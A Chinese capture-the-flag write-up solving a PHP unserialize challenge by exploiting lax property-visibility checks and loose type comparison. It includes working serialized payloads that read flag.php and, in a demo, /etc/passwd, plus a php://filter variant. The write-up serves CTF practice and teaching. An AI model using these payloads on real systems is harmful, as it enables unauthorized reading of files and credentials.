前言
本道题是在BUUCTF平台刷题的过程中复现的,业界都说网鼎杯比赛是神仙打架,时隔三年之后来看网鼎杯的题目,发现还是非常有意思的。于是将本题的WP单独发出来了,后续也会继续做最新的网鼎杯题目。
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| <?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op; protected $filename; protected $content;
function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
private function output($s) { echo "[Result]: <br>"; echo $s; }
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
}
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
}
|
代码审计
经过代码审计我们需要读取到 flag.php
的内容得到 FLAG,并且我们这里需要解决两个问题
- 只有当
$op==2
的时候才可以读取文件
- 我们需要绕过
is_valid()
函数的检测,该函数检测我们传入的每个值只能是ASCII码 32 到 125 之间的。由于 FileHandler
类中的三个属性都是受保护的,因此这里必将会用到 00
字节,我们需要想办法绕过。
前置知识
利用 php>7.1 版本对类属性的检测不严格(对属性类型不敏感)
例题:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class BUU { private $filename;
function __destruct() { echo file_get_contents($this->filename); } } if (isset($_GET['str'])) { unserialize($_GET['str']); }
|
在PHP<7.1版本中必须使用私有属性filename才可以对以上类进行反序列化,例如:
1 2 3 4 5 6 7 8
| <?php class BUU { private $filename = '/etc/passwd'; } echo urlencode(serialize(new BUU));
?>
|
传入如下参数可以正常文件读取:
1
| ?str=O%3A3%3A%22BUU%22%3A1%3A%7Bs%3A13%3A%22%00BUU%00filename%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D
|
在PHP>7.1版本中可以使用其他访问权限反序列化私有属性filename,例如:
1 2 3 4 5 6 7
| <?php class BUU { public $filename = '/etc/passwd'; } echo serialize(new BUU); ?>
|
将PHP版本修改为 PHP 7.2。
结论:发现这里使用公有属性的filename也能反序列化成功BUU类的private属性filename!
解题
通过服务器响应的字段发现这里使用的PHP版本为 PHP 7.4.3,因此我们可以使用上述漏洞 **php>7.1 版本对类属性的检测不严格(对属性类型不敏感)**。
因此我们在构造序列化代码的时候,可以直接将三个属性修改为 public
,这样就不会有 00 字符,自然不会被 is_valid
函数所拦截。
接着我们来看 FileHandler
类的两个危险方法 read()
和 wirte()
而这两个函数不是魔术方法,因此需要手动调用,在 process
方法中发现调用了这两个函数。
而 process 函数也需要手动调用,发现在 __destruct()
函数中调用了该函数:
但是这里需要使用到弱类型比较特性,__destruct()
函数里面判断了如果 $op
的值 全等于 2,则会将其重新赋值为1。接着我们原本想读取 flag.php,就变成了要写入文件内容了,同时这里会将 content
属性的值重新赋值为空,因此这里如果写文件,写的也是空内容的文件,没有任何效果。
由于 __destruct
方法在判断 $op
属性值的时候,使用的是 ===
即也判断数据的类型,即 '2' === 2
是不成立的,而在 __process
中判断 $op
值来决定是执行写入还是读取,使用的是 ==
即不比较数据类型,会进行隐式类型转换,即 '2' == 2
成立的。
故而我们最终的EXP为:
1 2 3 4 5 6 7 8 9
| <?php class FileHandler { public $op = 2; public $filename = 'flag.php'; public $conntent = ''; }
echo serialize(new FileHandler);
|
传参如下:
1
| ?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:8:"conntent";s:0:"";}
|
右键查看源代码得到 FLAG。
总结:这里其实就是使用了 php>7.1 版本对类属性的检测不严格(对属性类型不敏感) 和 PHP弱类型比较的特性进行解题的。
这种是非预期的解法。
解题-2
这里预期的解法是使用 php://filter
协议读取 flag.php
1 2 3 4 5 6 7 8 9
| <?php class FileHandler { public $op = 2; public $filename = 'php://filter/read=convert.base64-encode/resource=flag.php'; public $conntent = ''; }
echo serialize(new FileHandler);
|